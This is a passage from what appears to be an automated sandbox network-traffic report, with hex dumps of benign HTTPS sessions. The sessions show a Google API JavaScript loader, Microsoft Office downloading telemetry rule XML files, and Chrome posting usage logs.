6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-29 14:27:29 UTC	1378	IN	Data Raw: 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 Data Ascii: otype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retur
2024-10-29 14:27:29 UTC	1378	IN	Data Raw: 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: r b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.ass
2024-10-29 14:27:29 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a Data Ascii: unction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:
2024-10-29 14:27:29 UTC	1378	IN	Data Raw: 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 Data Ascii: romise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=funct
2024-10-29 14:27:29 UTC	1378	IN	Data Raw: 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 Data Ascii: r("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for
2024-10-29 14:27:29 UTC	1378	IN	Data Raw: 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return th
2024-10-29 14:27:29 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e Data Ascii: =function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.
2024-10-29 14:27:29 UTC	1378	IN	Data Raw: 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 Data Ascii: e.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)re
2024-10-29 14:27:29 UTC	1378	IN	Data Raw: 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 Data Ascii: 9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:30 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:30 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142730Z-16849878b78km6fmmkbenhx76n0000000620000000004rk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:30 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:30 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:30 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: e1c723a0-d01e-002b-299c-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142730Z-r197bdfb6b42rt68rzg9338g1g00000007sg00000000bp4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:30 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:30 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:30 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142730Z-16849878b78j5kdg3dndgqw0vg00000008dg000000005bdz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:30 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:30 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:30 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: af778f23-101e-007a-027e-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142730Z-17c5cb586f65j4snvy39m6qus4000000021g000000002y2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:30 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:30 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:30 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142730Z-16849878b782d4lwcu6h6gmxnw00000006bg00000000787c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:30 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49831	216.58.206.46	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 14:27:30 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 31 32 30 34 37 39 35 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: 